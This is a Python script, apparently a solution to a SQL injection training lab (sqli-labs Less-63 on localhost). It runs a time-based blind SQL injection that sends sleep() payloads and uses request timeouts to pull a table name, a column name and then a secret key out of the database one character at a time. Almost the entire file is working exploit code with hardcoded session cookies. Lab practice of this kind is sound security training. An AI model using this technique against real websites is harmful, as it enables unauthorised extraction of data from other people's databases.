1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
| # encoding: utf-8
import requests
import re
index_url = "http://localhost:8081/Less-63/index.php?id="
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
}
cookie = {
'challenge':'31a6b5568bbb9c350c1b296d9086acf0',
'PHPSESSID':'a64htnnoo54e99q0005mareng7'
}
flag = ''
table = ''
column = ''
for i in range(1,11):
print(i)
for j in 'QWERTYUIOPASDFGHJKLZXCVBNM1234567890':
j = ord(j)
payload = "0' or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),"+ str(i) +",1))="+ str(j) +"),sleep(5),0);%23"
url = index_url + payload
try:
r = requests.get(url=url,headers=header,cookies=cookie,timeout=4.5)
except:
flag += chr(j)
print(flag)
break
table = flag
print("################################# table is %s" % table)
flag = 'secret_'
for i in range(8,12):
print(i)
for j in 'QWERTYUIOPASDFGHJKLZXCVBNM1234567890':
j = ord(j)
payload = "0' or if((ascii(substr((select column_name from information_schema.columns where table_name='"+ table +"' limit 2,1),"+ str(i) +",1))="+ str(j) +"),sleep(5),0);%23"
url = index_url + payload
try:
r = requests.get(url=url,headers=header,cookies=cookie,timeout=4.5)
# print(r.text)
except:
flag += chr(j)
print(flag)
break
column = flag
print("################################# column is %s" % column)
flag = ''
for i in range(1,25):
print(i)
for j in 'QWERTYUIOPASDFGHJKLZXCVBNM1234567890qwertyuiopasdfghjklzxcvbnm':
j = ord(j)
payload = "0' or if((ascii(substr((select "+ column +" from "+ table +"),"+ str(i) +",1))="+ str(j) +"),sleep(5),0);%23"
url = index_url + payload
try:
r = requests.get(url=url,headers=header,cookies=cookie,timeout=4.5)
# print(r.text)
except:
flag += chr(j)
print(flag)
break
print("################################# key is %s" % flag)
|